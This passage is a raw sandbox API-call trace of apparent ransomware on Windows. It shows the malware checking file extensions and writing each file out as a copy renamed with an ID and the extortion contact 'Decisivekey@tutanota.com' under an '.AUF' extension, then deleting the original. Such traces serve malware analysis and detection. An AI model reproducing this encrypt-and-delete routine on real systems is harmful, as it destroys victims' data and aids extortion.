(lpString1=".ppt", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.583] lstrlenW (lpString=".zip") returned 4 [0205.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0205.583] lstrlenW (lpString=".rar") returned 4 [0205.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0205.584] lstrlenW (lpString=".bz2") returned 4 [0205.584] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0205.584] lstrlenW (lpString=".7z") returned 3 [0205.584] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0205.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.584] lstrlenW (lpString=".dbf") returned 4 [0205.584] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0205.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.584] lstrlenW (lpString=".1cd") returned 4 [0205.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0205.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0205.584] lstrlenW (lpString=".jpg") returned 4 [0205.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0205.584] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0205.584] lstrlenW (lpString="MS.PNG") returned 6 [0205.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.584] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1682) returned 1 [0205.584] CloseHandle (hObject=0x194) returned 1 [0205.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0205.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0205.584] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.584] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0205.585] GetLastError () returned 0x0 [0205.585] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x692, lpOverlapped=0x0) returned 1 [0205.592] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0205.593] ReadFile (in: hFile=0x194, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.593] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0205.593] SetEndOfFile (hFile=0x1a4) returned 1 [0205.593] CloseHandle (hObject=0x1a4) returned 1 [0205.594] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.594] SetEndOfFile (hFile=0x194) returned 1 [0205.594] CloseHandle (hObject=0x194) returned 1 [0205.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0205.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString=".doc") returned 4 [0205.595] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0205.595] lstrlenW (lpString=".docx") returned 5 [0205.595] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0205.595] lstrlenW (lpString=".pdf") returned 4 [0205.595] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0205.595] lstrlenW (lpString=".xls") returned 4 [0205.595] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0205.595] lstrlenW (lpString=".xlsx") returned 5 [0205.595] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0205.595] lstrlenW (lpString=".ppt") returned 4 [0205.595] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString=".zip") returned 4 [0205.595] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0205.595] lstrlenW (lpString=".rar") returned 4 [0205.595] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0205.595] lstrlenW (lpString=".bz2") returned 4 [0205.595] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0205.595] lstrlenW (lpString=".7z") returned 3 [0205.595] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString=".dbf") returned 4 [0205.595] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString=".1cd") returned 4 [0205.595] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0205.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.595] lstrlenW (lpString=".jpg") returned 4 [0205.596] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString=".doc") returned 4 [0205.596] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString=".docx") returned 5 [0205.596] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0205.596] lstrlenW (lpString=".pdf") returned 4 [0205.596] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString=".xls") returned 4 [0205.596] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0205.596] lstrlenW (lpString=".xlsx") returned 5 [0205.596] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0205.596] lstrlenW (lpString=".ppt") returned 4 [0205.596] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString=".zip") returned 4 [0205.596] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0205.596] lstrlenW (lpString=".rar") returned 4 [0205.596] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0205.596] lstrlenW (lpString=".bz2") returned 4 [0205.596] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString=".7z") returned 3 [0205.596] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString=".dbf") returned 4 [0205.596] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString=".1cd") returned 4 [0205.596] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0205.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0205.596] lstrlenW (lpString=".jpg") returned 4 [0205.596] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0205.596] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.596] lstrlenW (lpString="Content.xml") returned 11 [0205.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0205.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=27045) returned 1 [0205.885] CloseHandle (hObject=0x17c) returned 1 [0205.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0205.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".doc") returned 4 [0205.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString=".docx") returned 5 [0205.886] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.886] lstrlenW (lpString=".pdf") returned 4 [0205.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString=".xls") returned 4 [0205.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString=".xlsx") returned 5 [0205.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.886] lstrlenW (lpString=".ppt") returned 4 [0205.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".zip") returned 4 [0205.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.886] lstrlenW (lpString=".rar") returned 4 [0205.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString=".bz2") returned 4 [0205.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString=".7z") returned 3 [0205.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".dbf") returned 4 [0205.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".1cd") returned 4 [0205.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".jpg") returned 4 [0205.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.886] lstrlenW (lpString=".doc") returned 4 [0205.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString=".docx") returned 5 [0205.887] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.887] lstrlenW (lpString=".pdf") returned 4 [0205.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString=".xls") returned 4 [0205.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString=".xlsx") returned 5 [0205.887] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.887] lstrlenW (lpString=".ppt") returned 4 [0205.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.887] lstrlenW (lpString=".zip") returned 4 [0205.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.887] lstrlenW (lpString=".rar") returned 4 [0205.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString=".bz2") returned 4 [0205.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString=".7z") returned 3 [0205.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.887] lstrlenW (lpString=".dbf") returned 4 [0205.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.887] lstrlenW (lpString=".1cd") returned 4 [0205.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0205.887] lstrlenW (lpString=".jpg") returned 4 [0205.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.887] lstrcmpiW (lpString1=".avi", lpString2=".AUF") returned 1 [0205.887] lstrlenW (lpString="boxed-join.avi") returned 14 [0205.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0206.033] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=33280) returned 1 [0206.033] CloseHandle (hObject=0x1cc) returned 1 [0206.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0206.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.033] lstrlenW (lpString=".doc") returned 4 [0206.033] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".docx") returned 5 [0206.033] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0206.033] lstrlenW (lpString=".pdf") returned 4 [0206.033] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".xls") returned 4 [0206.033] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".xlsx") returned 5 [0206.033] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0206.033] lstrlenW (lpString=".ppt") returned 4 [0206.033] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.033] lstrlenW (lpString=".zip") returned 4 [0206.033] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".rar") returned 4 [0206.033] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".bz2") returned 4 [0206.033] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0206.033] lstrlenW (lpString=".7z") returned 3 [0206.033] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0206.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".dbf") returned 4 [0206.034] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".1cd") returned 4 [0206.034] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".jpg") returned 4 [0206.034] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".doc") returned 4 [0206.034] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".docx") returned 5 [0206.034] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0206.034] lstrlenW (lpString=".pdf") returned 4 [0206.034] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".xls") returned 4 [0206.034] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".xlsx") returned 5 [0206.034] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0206.034] lstrlenW (lpString=".ppt") returned 4 [0206.034] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".zip") returned 4 [0206.034] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".rar") returned 4 [0206.034] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".bz2") returned 4 [0206.034] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString=".7z") returned 3 [0206.034] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".dbf") returned 4 [0206.034] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".1cd") returned 4 [0206.034] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0206.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0206.034] lstrlenW (lpString=".jpg") returned 4 [0206.034] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0206.034] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0206.034] lstrlenW (lpString="ea.xml") returned 6 [0206.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.323] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=384) returned 1 [0206.324] CloseHandle (hObject=0x1a8) returned 1 [0206.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0206.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0206.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".doc") returned 4 [0206.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".docx") returned 5 [0206.328] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0206.328] lstrlenW (lpString=".pdf") returned 4 [0206.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".xls") returned 4 [0206.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".xlsx") returned 5 [0206.328] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0206.328] lstrlenW (lpString=".ppt") returned 4 [0206.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".zip") returned 4 [0206.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.328] lstrlenW (lpString=".rar") returned 4 [0206.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".bz2") returned 4 [0206.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".7z") returned 3 [0206.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".dbf") returned 4 [0206.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".1cd") returned 4 [0206.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".jpg") returned 4 [0206.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".doc") returned 4 [0206.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".docx") returned 5 [0206.328] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0206.328] lstrlenW (lpString=".pdf") returned 4 [0206.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".xls") returned 4 [0206.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString=".xlsx") returned 5 [0206.328] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0206.328] lstrlenW (lpString=".ppt") returned 4 [0206.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0206.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0206.328] lstrlenW (lpString=".zip") returned 4 [0206.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0206.328] lstrlenW (lpString=".rar") returned 4 [0206.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0206.328] lstrlenW 